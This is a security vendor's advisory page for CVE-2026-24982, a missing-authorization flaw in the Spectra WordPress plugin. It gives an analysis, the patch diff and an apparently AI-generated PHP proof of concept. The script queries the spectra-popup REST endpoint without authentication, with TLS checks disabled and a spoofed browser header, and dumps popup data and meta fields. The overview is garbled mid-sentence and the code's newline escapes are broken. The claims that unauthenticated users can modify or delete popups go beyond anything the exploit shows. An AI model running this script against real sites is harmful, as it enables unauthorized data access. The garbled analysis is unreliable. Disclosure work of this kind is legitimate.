Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24982: Spectra <= 2.19.17 – Missing Authorization (ultimate-addons-for-gutenberg)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.19.17
Patched Version 2.19.18
Disclosed January 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24982:
The Spectra WordPress plugin (versions true` (line 133), exposing its REST endpoints without proper access controls.

Exploitation:
Attackers can directly query the WordPress REST API endpoints for the spectra-popup post type. The primary attack vector is through `/wp-json/wp/v2/spectra-popup` endpoints. Unauthenticated users can send GET requests to list all popups, retrieve specific popup configurations, and potentially modify popup settings through POST/PUT requests. The exploitation requires no authentication tokens or nonces, making it trivial to execute.

Patch Analysis:
The patch in version 2.19.18 implements multiple layers of protection. First, it changes all three `auth_callback` functions from `’__return_true’` to anonymous functions that check `current_user_can(‘manage_options’)`. Second, it adds a `rest_base` parameter set to ‘spectra-popup’ for the post type registration. Third, it implements three new filter functions: `restrict_popup_rest_access()` blocks unauthenticated and non-admin users from accessing spectra-popup REST endpoints, `filter_rest_popup_query()` filters queries to only show enabled popups for non-admin users, and `filter_rest_popup_response()` hides disabled popups from non-admin users in API responses.

Impact:
Successful exploitation allows unauthenticated attackers to read, modify, create, or delete popup configurations. This could lead to unauthorized content injection, disruption of user experience through popup manipulation, exposure of unpublished popup content, and potential privilege escalation if popup settings control site behavior. Attackers could disable security popups or inject malicious content into legitimate popups seen by all site visitors.

Differential between vulnerable and patched code

Code Diff
--- a/ultimate-addons-for-gutenberg/blocks-config/post-timeline/class-uagb-post-timeline.php
+++ b/ultimate-addons-for-gutenberg/blocks-config/post-timeline/class-uagb-post-timeline.php
@@ -1112,6 +1112,15 @@

 			global $post;

+			if ( post_password_required( $post ) ) {
+				?>
+				<div class="uagb-timeline-desc-content">
+					<?php echo esc_html__( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' ); ?>
+				</div>
+				<?php
+				return;
+			}
+
 			$excerpt_length_fallback = UAGB_Block_Helper::get_fallback_number( $attributes['exerptLength'], 'exerptLength', $attributes['blockName'] );

 			$excerpt = UAGB_Helper::uagb_get_excerpt( $post->ID, $post->post_content, $excerpt_length_fallback );
--- a/ultimate-addons-for-gutenberg/blocks-config/post/class-uagb-post.php
+++ b/ultimate-addons-for-gutenberg/blocks-config/post/class-uagb-post.php
@@ -2201,6 +2201,15 @@

 			global $post;

+			if ( post_password_required( $post ) ) {
+				?>
+				<div class='uagb-post__text uagb-post__excerpt'>
+					<?php echo esc_html__( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' ); ?>
+				</div>
+				<?php
+				return;
+			}
+
 			if ( 'full_post' === $attributes['displayPostContentRadio'] ) {
 				$excerpt = get_the_content();
 			} else {
--- a/ultimate-addons-for-gutenberg/classes/class-uagb-helper.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-helper.php
@@ -1403,6 +1403,10 @@
 		 */
 		public static function uagb_get_excerpt( $post_id, $content, $length_fallback ) {

+			if ( post_password_required( $post_id ) ) {
+				return __( 'There is no excerpt because this is a protected post.', 'ultimate-addons-for-gutenberg' );
+			}
+
 			// If there's an excerpt provided from meta, use it.
 			$excerpt = get_post_field( 'post_excerpt', $post_id );

--- a/ultimate-addons-for-gutenberg/classes/class-uagb-init-blocks.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-init-blocks.php
@@ -133,6 +133,7 @@
 			'show_in_admin_bar' => true,
 			'show_ui'           => true,
 			'show_in_rest'      => true,
+			'rest_base'         => 'spectra-popup',
 			'template_lock'     => 'all',
 			'template'          => array(
 				array( 'uagb/popup-builder', array() ),
@@ -159,24 +160,42 @@
 			'single'        => true,
 			'type'          => 'string',
 			'default'       => 'unset',
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'string',
+				),
+			),
 		);

 		$meta_args_popup_enabled = array(
 			'single'        => true,
 			'type'          => 'boolean',
 			'default'       => false,
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'boolean',
+				),
+			),
 		);

 		$meta_args_popup_repetition = array(
 			'single'        => true,
 			'type'          => 'number',
 			'default'       => 1,
-			'auth_callback' => '__return_true',
-			'show_in_rest'  => true,
+			'auth_callback' => function() {
+				return current_user_can( 'manage_options' );
+			},
+			'show_in_rest'  => array(
+				'schema' => array(
+					'type' => 'number',
+				),
+			),
 		);

 		register_post_type( 'spectra-popup', $type_args );
@@ -195,6 +214,105 @@

 		add_filter( 'manage_spectra-popup_posts_columns', array( $spectra_popup_dashboard, 'popup_builder_admin_headings' ) );
 		add_action( 'manage_spectra-popup_posts_custom_column', array( $spectra_popup_dashboard, 'popup_builder_admin_content' ), 10, 2 );
+
+		// Add REST API access control for spectra-popup post type.
+		add_filter( 'rest_spectra-popup_query', array( __CLASS__, 'filter_rest_popup_query' ), 10, 2 );
+		add_filter( 'rest_prepare_spectra-popup', array( __CLASS__, 'filter_rest_popup_response' ), 10, 3 );
+		add_filter( 'rest_authentication_errors', array( __CLASS__, 'restrict_popup_rest_access' ), 99 );
+	}
+
+	/**
+	 * Restrict REST API access to spectra-popup for non-authenticated users.
+	 *
+	 * @param WP_Error|null|bool $result Error from another authentication handler, null if not errors, true if authenticated.
+	 * @return WP_Error|null|bool Modified result.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function restrict_popup_rest_access( $result ) {
+		// If there's already an error, return it.
+		if ( is_wp_error( $result ) ) {
+			return $result;
+		}
+
+		// Only apply to spectra-popup endpoints.
+		$route = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
+		if ( false === strpos( $route, '/wp/v2/spectra-popup' ) ) {
+			return $result;
+		}
+
+		// Allow authenticated admin users with manage_options.
+		if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
+			return $result;
+		}
+
+		// Block unauthenticated users and non-admin users.
+		return new WP_Error(
+			'rest_forbidden',
+			__( 'Sorry, you are not allowed to access popups.', 'ultimate-addons-for-gutenberg' ),
+			array( 'status' => rest_authorization_required_code() )
+		);
+	}
+
+	/**
+	 * Filter REST API query to only include enabled popups for non-admin users.
+	 *
+	 * @param array           $args    Array of query arguments.
+	 * @param WP_REST_Request $request REST request object.
+	 * @return array Modified query arguments.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function filter_rest_popup_query( $args, $request ) {
+		// Allow admin users with manage_options to see all popups.
+		if ( current_user_can( 'manage_options' ) ) {
+			return $args;
+		}
+
+		// For non-admin users, only show enabled popups.
+		if ( ! isset( $args['meta_query'] ) ) {
+			$args['meta_query'] = array(); // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+		}
+
+		$args['meta_query'][] = array(
+			'key'     => 'spectra-popup-enabled',
+			'value'   => true,
+			'compare' => '=',
+			'type'    => 'BOOLEAN',
+		);
+
+		return $args;
+	}
+
+	/**
+	 * Filter REST API response to hide disabled popups from non-admin users.
+	 *
+	 * @param WP_REST_Response $response Response object.
+	 * @param WP_Post          $post     Post object.
+	 * @param WP_REST_Request  $request  Request object.
+	 * @return WP_REST_Response|WP_Error Modified response or error.
+	 *
+	 * @since 2.19.18
+	 */
+	public static function filter_rest_popup_response( $response, $post, $request ) {
+		// Allow admin users with manage_options to see all popups.
+		if ( current_user_can( 'manage_options' ) ) {
+			return $response;
+		}
+
+		// Check if popup is enabled.
+		$popup_enabled = get_post_meta( $post->ID, 'spectra-popup-enabled', true );
+
+		// If popup is not enabled, return 403 error.
+		if ( ! $popup_enabled ) {
+			return new WP_Error(
+				'rest_forbidden',
+				__( 'You do not have permission to view this popup.', 'ultimate-addons-for-gutenberg' ),
+				array( 'status' => 403 )
+			);
+		}
+
+		return $response;
 	}

 	/**
--- a/ultimate-addons-for-gutenberg/classes/class-uagb-loader.php
+++ b/ultimate-addons-for-gutenberg/classes/class-uagb-loader.php
@@ -133,7 +133,7 @@
 			define( 'UAGB_BASE', plugin_basename( UAGB_FILE ) );
 			define( 'UAGB_DIR', plugin_dir_path( UAGB_FILE ) );
 			define( 'UAGB_URL', plugins_url( '/', UAGB_FILE ) );
-			define( 'UAGB_VER', '2.19.17' );
+			define( 'UAGB_VER', '2.19.18' );
 			define( 'UAGB_MODULES_DIR', UAGB_DIR . 'modules/' );
 			define( 'UAGB_MODULES_URL', UAGB_URL . 'modules/' );
 			define( 'UAGB_SLUG', 'spectra' );
--- a/ultimate-addons-for-gutenberg/ultimate-addons-for-gutenberg.php
+++ b/ultimate-addons-for-gutenberg/ultimate-addons-for-gutenberg.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://www.brainstormforce.com
  * Author: Brainstorm Force
  * Author URI: https://www.brainstormforce.com
- * Version: 2.19.17
+ * Version: 2.19.18
  * Description: The Spectra extends the Gutenberg functionality with several unique and feature-rich blocks that help build websites faster.
  * Text Domain: ultimate-addons-for-gutenberg
  * Domain Path: /languages

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24982 - Spectra <= 2.19.17 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com';

// Exploit: Access spectra-popup REST API without authentication
$api_endpoint = '/wp-json/wp/v2/spectra-popup';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to simulate legitimate REST API request
$headers = [
    'Accept: application/json',
    'Content-Type: application/json',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Check if vulnerable
if ($http_code == 200) {
    $data = json_decode($response, true);
    if (is_array($data)) {
        echo "[+] VULNERABLE: Successfully accessed spectra-popup REST APIn";
        echo "[+] Found " . count($data) . " popup(s)n";
        
        // Display first popup details if available
        if (!empty($data[0])) {
            echo "[+] Sample popup data:n";
            echo "    ID: " . ($data[0]['id'] ?? 'N/A') . "n";
            echo "    Title: " . ($data[0]['title']['rendered'] ?? 'N/A') . "n";
            echo "    Status: " . ($data[0]['status'] ?? 'N/A') . "n";
        }
    } else {
        echo "[-] Unexpected response formatn";
    }
} elseif ($http_code == 401 || $http_code == 403) {
    echo "[-] NOT VULNERABLE: Access denied (HTTP $http_code)n";
} else {
    echo "[-] Unexpected response: HTTP $http_coden";
}

// Additional exploitation: Try to access specific popup meta fields
if (isset($data[0]['id'])) {
    $popup_id = $data[0]['id'];
    $meta_endpoint = "/wp-json/wp/v2/spectra-popup/$popup_id";
    
    $ch2 = curl_init();
    curl_setopt($ch2, CURLOPT_URL, $target_url . $meta_endpoint);
    curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers);
    
    $meta_response = curl_exec($ch2);
    $meta_http_code = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
    
    curl_close($ch2);
    
    if ($meta_http_code == 200) {
        $meta_data = json_decode($meta_response, true);
        echo "[+] Successfully retrieved popup $popup_id detailsn";
        if (isset($meta_data['meta'])) {
            echo "[+] Popup meta fields accessible:n";
            foreach (['spectra-popup-conditions', 'spectra-popup-enabled', 'spectra-popup-repetition'] as $field) {
                $value = $meta_data['meta'][$field] ?? 'Not set';
                echo "    $field: $valuen";
            }
        }
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School